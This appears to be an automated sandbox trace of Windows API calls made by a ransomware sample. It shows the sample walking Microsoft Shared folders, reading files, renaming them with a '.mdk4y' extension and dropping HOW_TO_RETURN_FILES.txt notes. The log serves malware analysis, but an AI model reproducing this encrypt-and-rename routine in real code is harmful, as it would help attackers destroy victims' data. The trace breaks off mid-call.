1 [0091.340] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 0 [0091.340] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0091.340] AreFileApisANSI () returned 1 [0091.340] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aaea8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0091.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0091.469] GetFileType (hFile=0x12c) returned 0x1 [0091.470] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0091.470] AreFileApisANSI () returned 1 [0091.470] GetACP () returned 0x4e4 [0091.470] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EQUATION", cchWideChar=8, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="EQUATIONAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dfd8) returned 8 [0091.470] AreFileApisANSI () returned 1 [0091.470] GetACP () returned 0x4e4 [0091.470] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=56, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\Րj\x04") returned 56 [0091.471] AreFileApisANSI () returned 1 [0091.471] GetACP () returned 0x4e4 [0091.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".on Files\\Microsoft Shared\\DW\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 1 [0091.471] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0091.471] AreFileApisANSI () returned 1 [0091.471] GetACP () returned 0x4e4 [0091.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..n Files\\Microsoft Shared\\DW\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 2 [0091.471] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0091.471] AreFileApisANSI () returned 1 [0091.471] GetACP () returned 0x4e4 [0091.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1033", cchWideChar=4, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="1033Files\\Microsoft Shared\\DW\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 4 [0091.471] AreFileApisANSI () returned 1 [0091.471] GetACP () returned 0x4e4 [0091.471] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=61, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\7㖙ĺ?") returned 61 [0091.472] AreFileApisANSI () returned 1 [0091.472] GetACP () returned 0x4e4 [0091.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b78a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0091.472] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7bd8 | out: lpFindFileData=0x6b7bd8) returned 1 [0091.472] AreFileApisANSI () returned 1 [0091.472] GetACP () returned 0x4e4 [0091.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b78a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..?", lpUsedDefaultChar=0x37dec0) returned 2 [0091.472] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7bd8 | out: lpFindFileData=0x6b7bd8) returned 1 [0091.472] AreFileApisANSI () returned 1 [0091.472] GetACP () returned 0x4e4 [0091.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EEINTL.DLL", cchWideChar=10, lpMultiByteStr=0x6b78a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="EEINTL.DLL:", lpUsedDefaultChar=0x37dec0) returned 10 [0091.472] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0091.473] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1816670300000) returned 1 [0091.473] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xfa60, lpOverlapped=0x0) returned 1 [0092.776] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1816800600000) returned 1 [0092.776] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1816800600000) returned 1 [0092.777] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.mdk4y")) returned 1 [0092.778] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7bd8 | out: lpFindFileData=0x6b7bd8) returned 0 [0092.778] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0092.778] AreFileApisANSI () returned 1 [0092.778] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0092.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0092.778] GetFileType (hFile=0x130) returned 0x1 [0092.779] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0092.779] AreFileApisANSI () returned 1 [0092.779] GetACP () returned 0x4e4 [0092.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EQNEDT32.CNT", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EQNEDT32.CNTcrosoft Shared\\DW\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 12 [0092.779] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0092.780] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816801000000) returned 1 [0092.780] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9fd, lpOverlapped=0x0) returned 1 [0092.809] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816803900000) returned 1 [0092.809] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816803900000) returned 1 [0092.809] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.mdk4y")) returned 1 [0092.810] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0092.810] AreFileApisANSI () returned 1 [0092.810] GetACP () returned 0x4e4 [0092.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EQNEDT32.EXE", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EQNEDT32.EXE", lpUsedDefaultChar=0x37df4c) returned 12 [0092.810] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0092.810] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816804000000) returned 1 [0092.811] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x84a48, lpOverlapped=0x0) returned 1 [0092.876] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816810600000) returned 1 [0092.876] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816810600000) returned 1 [0092.882] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.mdk4y")) returned 1 [0092.882] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0092.882] AreFileApisANSI () returned 1 [0092.882] GetACP () returned 0x4e4 [0092.882] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="eqnedt32.exe.manifest", cchWideChar=21, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="eqnedt32.exe.manifesthared\\DW\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 21 [0092.882] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0092.884] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816811400000) returned 1 [0092.884] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x236, lpOverlapped=0x0) returned 1 [0092.885] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816811500000) returned 1 [0092.885] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816811500000) returned 1 [0092.885] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.mdk4y")) returned 1 [0092.886] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0092.886] AreFileApisANSI () returned 1 [0092.886] GetACP () returned 0x4e4 [0092.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EQNEDT32.HLP", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EQNEDT32.HLP.manifest", lpUsedDefaultChar=0x37df4c) returned 12 [0092.886] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0092.886] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816811600000) returned 1 [0092.886] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2b0b7, lpOverlapped=0x0) returned 1 [0092.911] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816814100000) returned 1 [0092.911] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816814100000) returned 1 [0092.913] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.mdk4y")) returned 1 [0092.913] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0092.913] AreFileApisANSI () returned 1 [0092.913] GetACP () returned 0x4e4 [0092.913] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MTEXTRA.TTF", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MTEXTRA.TTFP", lpUsedDefaultChar=0x37df4c) returned 11 [0092.913] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0092.913] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816814300000) returned 1 [0092.914] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1de8, lpOverlapped=0x0) returned 1 [0093.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816824200000) returned 1 [0093.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816824200000) returned 1 [0093.012] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.mdk4y")) returned 1 [0093.013] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 0 [0093.013] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0093.013] AreFileApisANSI () returned 1 [0093.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0093.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0093.014] GetFileType (hFile=0x12c) returned 0x1 [0093.015] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0093.015] AreFileApisANSI () returned 1 [0093.015] GetACP () returned 0x4e4 [0093.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EURO", cchWideChar=4, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="EUROTION", lpUsedDefaultChar=0x37dfd8) returned 4 [0093.015] AreFileApisANSI () returned 1 [0093.015] GetACP () returned 0x4e4 [0093.015] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=52, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\") returned 52 [0093.093] AreFileApisANSI () returned 1 [0093.093] GetACP () returned 0x4e4 [0093.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pxsk", lpUsedDefaultChar=0x37df4c) returned 1 [0093.093] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0093.093] AreFileApisANSI () returned 1 [0093.093] GetACP () returned 0x4e4 [0093.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pxsk", lpUsedDefaultChar=0x37df4c) returned 2 [0093.093] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0093.093] AreFileApisANSI () returned 1 [0093.093] GetACP () returned 0x4e4 [0093.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOEURO.DLL", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSOEURO.DLLefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pxsk", lpUsedDefaultChar=0x37df4c) returned 11 [0093.093] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0093.093] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816832300000) returned 1 [0093.094] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7980, lpOverlapped=0x0) returned 1 [0093.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816834100000) returned 1 [0093.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816834100000) returned 1 [0093.111] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.mdk4y")) returned 1 [0093.112] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 0 [0093.112] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0093.112] AreFileApisANSI () returned 1 [0093.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0093.112] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0093.112] GetFileType (hFile=0x12c) returned 0x1 [0093.113] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0093.113] AreFileApisANSI () returned 1 [0093.113] GetACP () returned 0x4e4 [0093.113] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Filters", cchWideChar=7, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="FiltersN", lpUsedDefaultChar=0x37dfd8) returned 7 [0093.113] AreFileApisANSI () returned 1 [0093.113] GetACP () returned 0x4e4 [0093.113] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=55, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\hՐj\x04") returned 55 [0093.135] AreFileApisANSI () returned 1 [0093.135] GetACP () returned 0x4e4 [0093.135] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pxsk", lpUsedDefaultChar=0x37df4c) returned 1 [0093.135] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0093.135] AreFileApisANSI () returned 1 [0093.135] GetACP () returned 0x4e4 [0093.135] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pxsk", lpUsedDefaultChar=0x37df4c) returned 2 [0093.135] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0093.135] AreFileApisANSI () returned 1 [0093.135] GetACP () returned 0x4e4 [0093.135] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msgfilt.dll", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: 